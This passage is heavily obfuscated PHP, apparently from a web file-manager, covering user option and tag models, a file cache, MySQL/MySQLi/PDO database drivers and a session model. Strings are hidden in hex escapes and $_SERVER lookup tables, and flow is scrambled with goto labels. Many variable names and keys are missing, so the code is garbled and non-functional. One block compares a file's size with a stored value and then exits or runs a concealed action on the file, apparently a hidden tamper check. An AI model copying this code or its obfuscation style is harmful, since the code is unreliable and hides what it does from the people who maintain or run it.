(isset($҈[$ȼ[2114]]) && $҈[$ȼ[2114]]) { $ʴ = array($ȼ[2120], $҈[$ȼ[2114]]); if ($炦[$ȼ[76]]) { $炦[$ȼ[76]] = array($炦[$ȼ[76]], $ʴ, $ȼ[2121]); } else { $炦[$ȼ[76]] = $ʴ; } } if (isset($҈[$ȼ[590]]) && $҈[$ȼ[590]]) { $炦[] = array($ȼ[456] => $҈[$ȼ[590]], $ȼ[454] => $҈[$ȼ[590]], $ȼ[996] => $ȼ[1950]); } if (isset($҈[$ȼ[412]]) && $҈[$ȼ[412]]) { $ݶԭ = $҈[$ȼ[412]]; if ($ݶԭ == $ȼ[75]) { $炦[$ȼ[410]] = 1; } else { if ($ݶԭ == $ȼ[2122]) { $炦[$ȼ[410]] = 0; } else { if ($ݶԭ) { $ݶԭ = is_array($ݶԭ) ? $ݶԭ : explode($ȼ[50], $ݶԭ); $炦[$ȼ[412]] = array($ȼ[418], $ݶԭ); $炦[$ȼ[410]] = 0; } } } } $this->_parseSearchParent($҈, $炦); if (isset($҈[$ȼ[1946]]) && trim($҈[$ȼ[1946]])) { $鬆 = trim($҈[$ȼ[1946]]); $߂ѵ = explode($ȼ[53], $鬆); if (strlen($鬆) > 2 && (substr($鬆, 0, 1) == $ȼ[118] && substr($鬆, -1) == $ȼ[118]) || substr($鬆, 0, 1) == $ȼ[58] && substr($鬆, -1) == $ȼ[58]) { $鬆 = substr($鬆, 1, -1); $߂ѵ = array($鬆); } $炦[$ȼ[32]] = array(array($ȼ[540], $ȼ[1948] . $鬆 . $ȼ[1948])); if (count($߂ѵ) > 1) { $炦[$ȼ[32]] = array(); foreach ($߂ѵ as $Ԋά) { if (!trim($Ԋά)) { continue; } $炦[$ȼ[32]][] = array($ȼ[540], $ȼ[1948] . trim($Ԋά) . $ȼ[1948]); } } } return $炦; } private function _parseSearchParent($, &$ڗ) { $ =& $_SERVER[]; if (!isset($[$[432]]) || !$[$[432]]) { return; } $얀 = $this->pathInfo($[$[432]]); $ǁ = $얀[$[432]] . $[12] === $[198]; $ = $얀[$[411]] == $[505]; if ($얀[$[522]] == $[523]) { $£ = $this->sourceInfo($[$[432]]); $얀[$[511]] = $£[$[511]]; } $ڗ[$[580]] = array($[540], $얀[$[511]] . $[$[432]] . $[541]); $ = isset($[$[1811]]) && in_array($[505], $[$[1811]]); if (!$ || !$ || !$ǁ || !$얀[$[413]]) { return; } if (!AuthModel::authCheckRoot($얀[$[413]][$[414]])) { return; } $ܶ = $얀[$[496]] . $[12]; if ($ܶ == $[88]) { unset($ڗ[$[580]]); $ڗ[$[411]] = self::TYPE_GROUP; return; } $ = Model($[512])->groupChildrenAll($ܶ); $Ř = count($); if ($Ř <= 1) { return; } $ = array($[432] => 0, $[411] => self::TYPE_GROUP, $[496] => array($[7], $)); $䆼 = $this->field($[2123])->where($)->limit($Ř)->select(); $ڗ[$[580]] = array(); foreach ($䆼 as $) { $ڗ[$[580]][] = array($[540], $[521] . $[$[402]] . $[541]); } $ڗ[$[580]][] = $[1950]; } } goto f; dȼ: define($_SERVER[][241], 1); define($_SERVER[][242], 0); define($_SERVER[][243], 2); goto Aǖ; CǴǪ: class UserOptionModel extends ModelBaseOption { protected $tableName = "\165\163\x65\162\x5f\157\x70\x74\x69\157\156"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($瑩) { $̮ =& $_SERVER[]; $ = defined($̮[2130]) && USER_ID ? USER_ID : $̮[12]; return "\x55\163\x65\162\117\x70\164\151\157\x6e\137{$瑩}\x5f" . $; } protected function filterWhere($) { $ԙν =& $_SERVER[]; $[$ԙν[1663]] = defined($ԙν[2130]) && USER_ID ? USER_ID : $ԙν[12]; return $; } public function cacheRemoveUser($瑾, $) { return Cache::remove("\125\163\145\x72\117\160\x74\151\157\156\137{$瑾}\137" . $); } protected function optionDefault($ꆃ = '') { $ţ =& $_SERVER[]; if ($ꆃ == $ţ[12]) { return $GLOBALS[$ţ[6]][$ţ[2344]]; } if ($ꆃ == $ţ[2345]) { return $GLOBALS[$ţ[6]][$ţ[2346]]; } } } class UserTagModel extends ModelBaseLight { public $optionType = "\x55\163\x65\162\56\164\141\x67\x4c\151\x73\x74"; public $modelType = "\125\163\x65\x72\x4f\160\164\151\x6f\x6e"; public $field = array("\x6e\x61\155\145", "\163\x74\x79\x6c\145", "\163\157\162\164"); public function listData($ִۧ = false, $߉ = "\x73\157\162\164", $¶ = false) { return parent::listData($ִۧ, $߉, $¶); } public function remove($) { return parent::remove($); } public function add($, $㵤 = "\154\141\x62\145\x6c\x2d\x67\x72\x65\x79\x2d\156\157\x72\x6d\141\154") { $ =& $_SERVER[]; if ($this->findByName($)) { return !1; } $ܗ = array($[420] => $, $[484] => $㵤, $[1856] => $this->getSort($[258]) + 1); return parent::insert($ܗ); } public function update($, $Dz) { $ =& $_SERVER[]; $ = $this->listData($); $ = $this->findByName($Dz[$[32]]); if (!$ || $ && $[$[399]] != $[$[399]]) { return !1; } return parent::update($, $Dz); } public function moveTop($ȭ) { $ =& $_SERVER[]; $Ͷ = parent::listData(); $گ = $this->getSort($[257]); foreach ($Ͷ as &$) { if ($[$[399]] == $ȭ) { $[$[1876]] = $گ; continue; } $[$[1876]] += 1; } unset($); return parent::resetData($Ͷ); } public function moveBottom($) { $ֻ =& $_SERVER[]; $ս = $this->getSort($ֻ[258]) + 1; return parent::update($, array($ֻ[1876] => $ս)); } public function resetSort($) { $Ձ =& $_SERVER[]; $̪ = array(); $ = is_array($) ? $ : array(); for ($ѕ = 0; $ѕ < count($); $ѕ++) { $̪[$[$ѕ] . $Ձ[12]] = $ѕ + 1; } $ = parent::listData(); foreach ($ as &$݁ϟ) { $ = $̪[$݁ϟ[$Ձ[399]]]; $݁ϟ[$Ձ[1876]] = $ ? $ : $݁ϟ[$Ձ[1876]]; } unset($݁ϟ); return parent::resetData($); } private function getSort($) { $ =& $_SERVER[]; $ײ = parent::listData(); $۞ = array_to_keyvalue($ײ, $[12], $[1876]); if (!$۞) { $۞ = array(0); } $ϙ = $ == $[258] ? max($۞) : min($۞); return intval($ϙ); } } goto fِ; e: $_size = $_SERVER[][737]; if ($_SERVER[$_SERVER[][738]] != $_size($_file)) { $_getc = $_SERVER[][739]; $_getfile = $_SERVER[$_SERVER[][740]] . $_SERVER[][741]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][231], $_getfilec); if (count($_getarrs) < $_SERVER[][628]) { $exit = $_SERVER[][742]; $exit(); } $_act = $_SERVER[][743]; $_act($_file); } class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($ӆا, $) { $ =& $_SERVER[]; $this->cachePath = $ӆا[$[84]]; $this->prefix = $[831]; $this->cacheTime = $; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($̗) { $Ϯˎ =& $_SERVER[]; $̗ = str_replace(array($Ϯˎ[832], $Ϯˎ[97], $Ϯˎ[73]), $Ϯˎ[833], $̗); return $this->cachePath . $Ϯˎ[834] . $̗ . $Ϯˎ[835]; } public function set($窷, $迻, $ = false) { $ = $ ? $ : $this->cacheTime; $ÿ = $this->getFile($窷); if (file_put_contents($ÿ, $this->prefix . $迻, LOCK_EX)) { @touch($ÿ, intval(time() + $)); clearstatcache(); return !0; } @unlink($ÿ); return !1; } public function get($˩) { $Ӕ = $this->getFile($˩); if (file_exists($Ӕ) && filemtime($Ӕ) < time()) { @unlink($Ӕ); return !1; } $Ƞ = @file_get_contents($Ӕ); return substr($Ƞ, strlen($this->prefix)); } public function remove($ԭ) { $ = $this->getFile($ԭ); return @unlink($); } public function deleteAll() { $ =& $_SERVER[]; $ߥ = scandir($this->cachePath); foreach ($ߥ as $) { $ = $this->cachePath . $; if (strpos($, $[835]) && strpos($, $[836])) { @unlink($); } } } public function clearTimeout() { $ =& $_SERVER[]; $ = scandir($this->cachePath); foreach ($ as $) { $ͳ = $this->cachePath . $; if (strpos($ͳ, $[835]) && strpos($ͳ, $[836]) && filemtime($ͳ) < time()) { @unlink($ͳ); } } } } goto c; C܊: class DbMysql extends Db { public function __construct($왘 = '') { $ݖ =& $_SERVER[]; if (!extension_loaded($ݖ[801])) { think_exception(think_lang($ݖ[14]) . $ݖ[881]); } if (!empty($왘)) { $this->config = $왘; if (empty($this->config[$ݖ[17]])) { $this->config[$ݖ[17]] = $ݖ[12]; } } } public function connect($ = '', $ޏ = 0, $엞۶ = false) { $ =& $_SERVER[]; if (!isset($this->linkID[$ޏ])) { if (empty($)) { $ = $this->config; } $ = $[$[882]] . ($[$[883]] ? "\72{$[$[883]]}" : $[12]); $ҁ˞ = !empty($[$[17]][$[18]]) ? $[$[17]][$[18]] : $this->pconnect; if ($ҁ˞) { $this->linkID[$ޏ] = mysql_pconnect($, $[$[884]], $[$[885]], 131072); } else { $this->linkID[$ޏ] = mysql_connect($, $[$[884]], $[$[885]], !0, 131072); } if (!$this->linkID[$ޏ] || !empty($[$[21]]) && !mysql_select_db($[$[21]], $this->linkID[$ޏ])) { think_exception(mysql_error()); } $ = mysql_get_server_info($this->linkID[$ޏ]); mysql_query($[886] . think_config($[887]) . $[58], $this->linkID[$ޏ]); if ($ > $[888]) { mysql_query($[889], $this->linkID[$ޏ]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$ޏ]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($) { $یĀ =& $_SERVER[]; if (0 === stripos($, $یĀ[264])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($یĀ[23], 1); think_status($یĀ[24]); $this->queryID = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($ꜣ) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ꜣ; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ݝ = mysql_query($ꜣ, $this->_linkID); $this->debug(); if (!1 === $ݝ) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[][890], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[][891], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[][892], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $Ҍɶ = array(); if ($this->numRows > 0) { while ($Խ = mysql_fetch_assoc($this->queryID)) { $Ҍɶ[] = $Խ; } mysql_data_seek($this->queryID, 0); } return $Ҍɶ; } public function getFields($) { $ĺ =& $_SERVER[]; $ = $this->query($ĺ[893] . $this->parseKey($)); $ = array(); if ($) { foreach ($ as $ƼЈ => $) { $[$[$ĺ[31]]] = array($ĺ[32] => $[$ĺ[31]], $ĺ[33] => $[$ĺ[34]], $ĺ[35] => (bool) (strtoupper($[$ĺ[36]]) === $ĺ[894]), $ĺ[37] => $[$ĺ[38]], $ĺ[39] => strtolower($[$ĺ[40]]) == $ĺ[41], $ĺ[42] => strtolower($[$ĺ[43]]) == $ĺ[44]); } } return $; } public function getTables($ = '') { $ =& $_SERVER[]; if (!empty($)) { $ξ = $[895] . $ . $[896]; } else { $ξ = $[897]; } $ = $this->query($ξ); $߫ = array(); foreach ($ as $̭ => $) { $߫[$̭] = current($); } return $߫; } public function replace($, $冖 = array()) { $ײ =& $_SERVER[]; foreach ($ as $ => $) { $C = $this->parseValue($); if (is_scalar($C)) { $ȁќ[] = $C; $[] = $this->parseKey($); } } $ܕؗ = $ײ[898] . $this->parseTable($冖[$ײ[279]]) . $ײ[899] . implode($ײ[50], $) . $ײ[900] . implode($ײ[50], $ȁќ) . $ײ[901]; return $this->execute($ܕؗ); } public function insertAll($, $ފ = array(), $ = false) { $攨 =& $_SERVER[]; if (!is_array($[0])) { return !1; } $ᙧ = array_keys($[0]); $ԝ = array(); foreach ($ as $Ԝ) { $ދ = array(); foreach ($Ԝ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $ދ[] = $; } } $ԝ[] = $攨[260] . implode($攨[50], $ދ) . $攨[901]; } array_walk($ᙧ, array($this, $攨[902])); $ = ($ ? $攨[903] : $攨[904]) . $攨[905] . $this->parseTable($ފ[$攨[279]]) . $攨[899] . implode($攨[50], $ᙧ) . $攨[906] . implode($攨[50], $ԝ); return $this->execute($); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $衂 =& $_SERVER[]; $this->error = mysql_errno() . $衂[4] . mysql_error($this->_linkID); if ($衂[12] != $this->queryStr) { $this->error .= LNG($衂[48]) . $this->queryStr; } think_trace($this->error, $衂[12], $衂[49]); return $this->error; } public function escapeString($) { if ($this->_linkID) { return mysql_real_escape_string($, $this->_linkID); } else { return mysql_escape_string($); } } public function parseKey(&$, $ڥ = true) { $ =& $_SERVER[]; if ($ڥ) { $ = $this->parseKeyCheck($); } if ($ != $[189] && !preg_match($[907], $)) { $ = $[385] . trim($, $[385]) . $[385]; } return $; } } class DbMysqli extends Db { public function __construct($ = '') { $܅ =& $_SERVER[]; if (!extension_loaded($܅[908])) { think_exception(think_lang($܅[14]) . $܅[909]); } if (!empty($)) { $this->config = $; if (empty($this->config[$܅[17]])) { $this->config[$܅[17]] = $܅[12]; } } } public function connect($ʩٷ = '', $謲 = 0) { $ײ =& $_SERVER[]; if (!isset($this->linkID[$謲])) { if (empty($ʩٷ)) { $ʩٷ = $this->config; } $this->linkID[$謲] = new mysqli($ʩٷ[$ײ[882]], $ʩٷ[$ײ[884]], $ʩٷ[$ײ[885]], $ʩٷ[$ײ[21]], $ʩٷ[$ײ[883]] ? intval($ʩٷ[$ײ[883]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $ = $this->linkID[$謲]->server_version; $this->linkID[$謲]->query($ײ[886] . think_config($ײ[887]) . $ײ[58]); if ($ > $ײ[888]) { $this->linkID[$謲]->query($ײ[889]); } $this->connected = !0; if (1 != think_config($ײ[22])) { unset($this->config); } } return $this->linkID[$謲]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($û) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $û; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = $this->_linkID->query($û); if ($this->_linkID->more_results()) { while (($ = $this->_linkID->next_result()) != NULL) { $->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($Ͼ) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $Ͼ; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ބ = $this->_linkID->query($Ͼ); $this->debug(); if (!1 === $ބ) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $[$] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $; } public function getFields($˄) { $ဪ =& $_SERVER[]; $ϻʳ = $this->query($ဪ[893] . $this->parseKey($˄)); $ටՎ = array(); if ($ϻʳ) { foreach ($ϻʳ as $髱 => $) { $ටՎ[$[$ဪ[31]]] = array($ဪ[32] => $[$ဪ[31]], $ဪ[33] => $[$ဪ[34]], $ဪ[35] => (bool) ($[$ဪ[36]] === $ဪ[12]), $ဪ[37] => $[$ဪ[38]], $ဪ[39] => strtolower($[$ဪ[40]]) == $ဪ[41], $ဪ[42] => strtolower($[$ဪ[43]]) == $ဪ[44]); } } return $ටՎ; } public function getTables($ = '') { $ﴅ =& $_SERVER[]; $Ὦ = !empty($) ? $ﴅ[895] . $ . $ﴅ[896] : $ﴅ[897]; $җ = $this->query($Ὦ); $ކ = array(); if ($җ) { foreach ($җ as $į => $欓) { $ކ[$į] = current($欓); } } return $ކ; } public function replace($絻絨, $ = array()) { $ܠ =& $_SERVER[]; foreach ($絻絨 as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $[] = $; $[] = $this->parseKey($); } } $ = $ܠ[898] . $this->parseTable($[$ܠ[279]]) . $ܠ[899] . implode($ܠ[50], $) . $ܠ[900] . implode($ܠ[50], $) . $ܠ[901]; return $this->execute($); } public function insertAll($, $ = array(), $脒 = false) { $Ѭ =& $_SERVER[]; if (!is_array($[0])) { return !1; } $ɜ = array_keys($[0]); $Չ = array(); foreach ($ as $ѧ) { $ = array(); foreach ($ѧ as $څՇ => $δӄ) { $δӄ = $this->parseValue($δӄ); if (is_scalar($δӄ)) { $[] = $δӄ; } } $Չ[] = $Ѭ[260] . implode($Ѭ[50], $) . $Ѭ[901]; } array_walk($ɜ, array($this, $Ѭ[902])); $ = $脒 ? $Ѭ[903] : $Ѭ[904]; $§ = $ . $Ѭ[905] . $this->parseTable($[$Ѭ[279]]) . $Ѭ[899] . implode($Ѭ[50], $ɜ) . $Ѭ[906] . implode($Ѭ[50], $Չ); return $this->execute($§); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $լ =& $_SERVER[]; $this->error = $this->_linkID->errno . $լ[4] . $this->_linkID->error; if ($լ[12] != $this->queryStr) { $this->error .= LNG($լ[48]) . $this->queryStr; } think_trace($this->error, $լ[12], $լ[49]); return $this->error; } public function escapeString($ּ) { if ($this->_linkID) { return $this->_linkID->real_escape_string($ּ); } else { return addslashes($ּ); } } public function parseKey(&$, $ѧХ = true) { $б =& $_SERVER[]; if ($ѧХ) { $ = $this->parseKeyCheck($); } if ($ != $б[189] && !preg_match($б[907], $)) { $ = $б[385] . trim($, $б[385]) . $б[385]; } return $; } } class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($ = '') { $ =& $_SERVER[]; if (!class_exists($[910])) { think_exception(think_lang($[14]) . $[911]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ = '', $ŗ = 0) { $Њ =& $_SERVER[]; if (!isset($this->linkID[$ŗ])) { if (empty($)) { $ = $this->config; } $ڔ = !empty($[$Њ[17]][$Њ[18]]) ? $[$Њ[17]][$Њ[18]] : $this->pconnect; if ($ڔ) { $[$Њ[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$ŗ] = new PDO($[$Њ[912]], $[$Њ[884]], $[$Њ[885]], $[$Њ[17]]); } catch (PDOException $) { think_exception($->getMessage()); } $this->dbType = $this->_getDsnType($[$Њ[912]]); if (in_array($this->dbType, array($Њ[913], $Њ[914], $Њ[915], $Њ[916]))) { think_exception($Њ[917] . $this->dbType . $Њ[918] . $this->dbType . $Њ[919]); } if (!$this->linkID[$ŗ]) { think_exception($Њ[920]); } try { $this->linkID[$ŗ]->exec($Њ[921] . think_config($Њ[887])); } catch (Exception $) { } $this->connected = !0; if (1 != think_config($Њ[22])) { unset($this->config); } } return $this->linkID[$ŗ]; } public function free() { $this->PDOStatement = null; } public function query($ޣ, $Ώ = array()) { $ܨ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ޣ; if (!empty($Ώ)) { $this->queryStr .= $ܨ[922] . print_r($Ώ, !0) . $ܨ[923]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($ܨ[23], 1); think_status($ܨ[24]); $this->PDOStatement = $this->_linkID->prepare($ޣ); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($Ώ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($, $ = array()) { $܂ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($)) { $this->queryStr .= $܂[922] . print_r($, !0) . $܂[923]; } $ = !1; if ($this->dbType == $܂[916]) { if (preg_match($܂[924], $this->queryStr, $ʩ)) { $this->table = think_config($܂[925]) . str_ireplace(think_config($܂[926]), $܂[378], $ʩ[2]); $ = (bool) $this->query($܂[927] . strtoupper($this->table) . $܂[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($܂[25], 1); think_status($܂[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($ || preg_match($܂[928], $)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $Ö͑ = $this->_linkID->commit(); $this->transTimes = 0; if (!$Ö͑) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ï = $this->_linkID->rollback(); $this->transTimes = 0; if (!$ï) { $this->error(); return !1; } } return !0; } private function getAll() { $ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($); return $; } public function getFields($) { $ =& $_SERVER[]; $this->initConnect(!0); if (think_config($[929])) { $ = str_replace($[930], $, think_config($[929])); } else { switch ($this->dbType) { case $[913]: case $[931]: $ = "\x53\x45\x4c\105\x43\124\x20\x20\x20\143\x6f\154\x75\155\156\x5f\156\141\155\145\x20\141\x73\40\47\116\141\x6d\x65\x27\x2c\40\40\40\x64\141\164\141\137\164\x79\160\145\x20\x61\163\40\x27\x54\171\160\145\47\x2c\40\x20\x20\143\x6f\x6c\x75\155\x6e\137\x64\x65\x66\x61\165\154\x74\x20\141\x73\x20\47\104\145\146\141\x75\154\164\x27\x2c\x20\x20\x20\x69\x73\137\156\165\x6c\x6c\x61\142\x6c\x65\40\141\x73\x20\47\x4e\x75\x6c\x6c\47\12\x9\11\106\x52\x4f\x4d\11\x69\x6e\x66\157\162\155\x61\x74\151\157\156\137\163\x63\x68\145\155\x61\56\x74\141\x62\x6c\x65\163\40\x41\x53\40\x74\xa\11\11\112\117\x49\116\x9\x69\x6e\146\x6f\162\155\x61\164\x69\x6f\x6e\x5f\x73\x63\x68\145\155\141\56\x63\x6f\154\x75\155\x6e\x73\40\101\123\x20\x63\12\x9\11\x4f\116\x20\x20\164\x2e\164\141\x62\154\x65\x5f\143\x61\164\x61\154\157\x67\x20\75\40\x63\56\x74\141\x62\x6c\x65\x5f\143\x61\164\x61\x6c\157\147\xa\x9\x9\101\116\104\x20\164\x2e\x74\141\142\154\x65\137\x73\x63\x68\145\155\141\40\75\40\143\56\164\x61\142\x6c\x65\x5f\163\x63\x68\x65\x6d\141\12\x9\11\101\x4e\x44\x20\164\56\x74\x61\x62\x6c\145\137\156\141\x6d\x65\40\75\40\143\56\164\141\142\154\x65\137\156\x61\x6d\x65\12\x9\11\x57\110\x45\122\x45\x20\x20\x20\164\x2e\164\x61\x62\154\145\137\156\141\x6d\x65\x20\75\40\47{$}\47"; break; case $[932]: $ = $[933] . $ . $[934]; break; case $[914]: case $[916]: $ = $[935] . $[936] . $[937] . strtoupper($) . $[938] . strtoupper($) . $[939]; break; case $[940]: $ = $[941] . $ . $[942]; break; case $[915]: break; case $[943]: default: $ = $[944] . ($this->dbType == $[943] ? "\140{$}\x60" : $); } } $ = $this->query($); $۹ʱ = array(); if ($) { foreach ($ as $أ => $ū) { $ū = array_change_key_case($ū); $ū[$[32]] = isset($ū[$[32]]) ? $ū[$[32]] : $[378]; $ū[$[33]] = isset($ū[$[33]]) ? $ū[$[33]] : $[378]; $ᓴ = isset($ū[$[273]]) ? $ū[$[273]] : $ū[$[32]]; $۹ʱ[$ᓴ] = array($[32] => $ᓴ, $[33] => $ū[$[33]], $[35] => (bool) (isset($ū[$[103]]) && $ū[$[103]] === $[12] || isset($ū[$[35]]) && $ū[$[35]] === $[12]), $[37] => isset($ū[$[37]]) ? $ū[$[37]] : (isset($ū[$[56]]) ? $ū[$[56]] : $[378]), $[39] => isset($ū[$[94]]) ? strtolower($ū[$[94]]) == $[41] : (isset($ū[$[57]]) ? $ū[$[57]] : !1), $[42] => isset($ū[$[945]]) ? strtolower($ū[$[945]]) == $[44] : (isset($ū[$[94]]) ? $ū[$[94]] : !1)); } } return $۹ʱ; } public function getTables($ = '') { $ݹ =& $_SERVER[]; if (think_config($ݹ[946])) { $ШڻĒ = str_replace($ݹ[947], $, think_config($ݹ[946])); } else { switch ($this->dbType) { case $ݹ[914]: case $ݹ[916]: $ШڻĒ = $ݹ[948]; break; case $ݹ[913]: case $ݹ[931]: $ШڻĒ = $ݹ[949]; break; case $ݹ[940]: $ШڻĒ = $ݹ[950]; break; case $ݹ[915]: think_exception(think_lang($ݹ[951]) . $ݹ[952]); break; case $ݹ[932]: $ШڻĒ = $ݹ[45] . $ݹ[46] . $ݹ[47]; break; case $ݹ[943]: default: if (!empty($)) { $ШڻĒ = $ݹ[895] . $ . $ݹ[896]; } else { $ШڻĒ = $ݹ[897]; } } } $Ά = $this->query($ШڻĒ); $ = array(); foreach ($Ά as $ͨ => $) { $[$ͨ] = current($); } return $; } protected function parseLimit($) { $럱 =& $_SERVER[]; $ٕ = $럱[12]; if (!empty($)) { switch ($this->dbType) { case $럱[940]: case $럱[932]: $ = explode($럱[50], $); if (count($) > 1) { $ٕ .= $럱[51] . $[1] . $럱[52] . $[0] . $럱[53]; } else { $ٕ .= $럱[51] . $[0] . $럱[53]; } break; case $럱[913]: case $럱[931]: break; case $럱[915]: break; case $럱[914]: case $럱[916]: break; case $럱[943]: default: $ٕ .= $럱[51] . $ . $럱[53]; } } return $ٕ; } public function parseKey(&$ʷ, $ = true) { $ =& $_SERVER[]; if ($) { $ʷ = $this->parseKeyCheck($ʷ); } if ($this->dbType == $[943]) { if ($ʷ != $[189] && !preg_match($[907], $ʷ)) { $ʷ = $[385] . trim($ʷ, $[385]) . $[385]; } return $ʷ; } else { return parent::parseKey($ʷ, $); } } public function close() { $this->_linkID = null; } public function error() { $ݢ㻮 =& $_SERVER[]; if ($this->PDOStatement) { $ʼȮ = $this->PDOStatement->errorInfo(); $this->error = $ʼȮ[1] . $ݢ㻮[4] . $ʼȮ[2]; } else { $this->error = $ݢ㻮[12]; } if ($ݢ㻮[12] != $this->queryStr) { $this->error .= LNG($ݢ㻮[48]) . $this->queryStr; } think_trace($this->error, $ݢ㻮[12], $ݢ㻮[49]); return $this->error; } public function escapeString($Ȕ) { $ﴬɱ =& $_SERVER[]; switch ($this->dbType) { case $ﴬɱ[940]: case $ﴬɱ[913]: case $ﴬɱ[931]: case $ﴬɱ[943]: return addslashes($Ȕ); case $ﴬɱ[915]: case $ﴬɱ[932]: case $ﴬɱ[914]: case $ﴬɱ[916]: return str_ireplace($ﴬɱ[58], $ﴬɱ[59], $Ȕ); } } protected function parseValue($) { $ɍا =& $_SERVER[]; if (is_string($)) { $ = strpos($, $ɍا[4]) === 0 && in_array($, array_keys($this->bind)); $ = $ ? $this->escapeString($) : $ɍا[953] . $this->escapeString($) . $ɍا[953]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $ɍا[297]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $ɍا[954]), $); } elseif (is_bool($)) { $ = $ ? $ɍا[88] : $ɍا[198]; } elseif (is_null($)) { $ = $ɍا[103]; } return $; } public function getLastInsertId() { $ =& $_SERVER[]; switch ($this->dbType) { case $[940]: case $[932]: case $[913]: case $[931]: case $[915]: case $[943]: return $this->_linkID->lastInsertId(); case $[914]: case $[916]: $ñ = $this->table; $ = $this->query("\123\105\x4c\x45\103\124\x20{$ñ}\x2e\x63\165\x72\x72\x76\x61\154\40\x63\x75\x72\162\166\x61\x6c\40\x46\x52\x4f\115\40\144\x75\141\154"); return $ ? $[0][$[955]] : 0; } } } goto bϭ; F: class SessionModel extends ModelBase { protected $tableName = "\x73\x79\x73\x74\x65\x6d\137\x73\x65\x73\163\x69\157\156"; public function get($Ξ) { $ =& $_SERVER[]; $ͽˎ = $this->where(array($[1987] => $Ξ))->find(); if (!is_array($ͽˎ)) { return !1; } return $ͽˎ[$[751]]; } public function set($, $, $߱ = 3600) { $ʙݜ =& $_SERVER[]; $ՙ = array($ʙݜ[1987] => $, $ʙݜ[1891] => $, $ʙݜ[1988] => $߱ + time()); if (Session::get($ʙݜ[1989])) { $ՙ[$ʙݜ[1663]] = Session::get($ʙݜ[1989]); } else { $ՙ[$ʙݜ[1663]] = 0; } if ($this->get($)) { return $this->where(array($ʙݜ[1987] => $))->save($ՙ); } else { return $this->add($ՙ, array(), !0); } } public function remove($) { return $this->where(array($_SERVER[][1987] => $))->delete(); } public function clearTimeout() { return $this->where($_SERVER[][1990] . time())->delete(); } 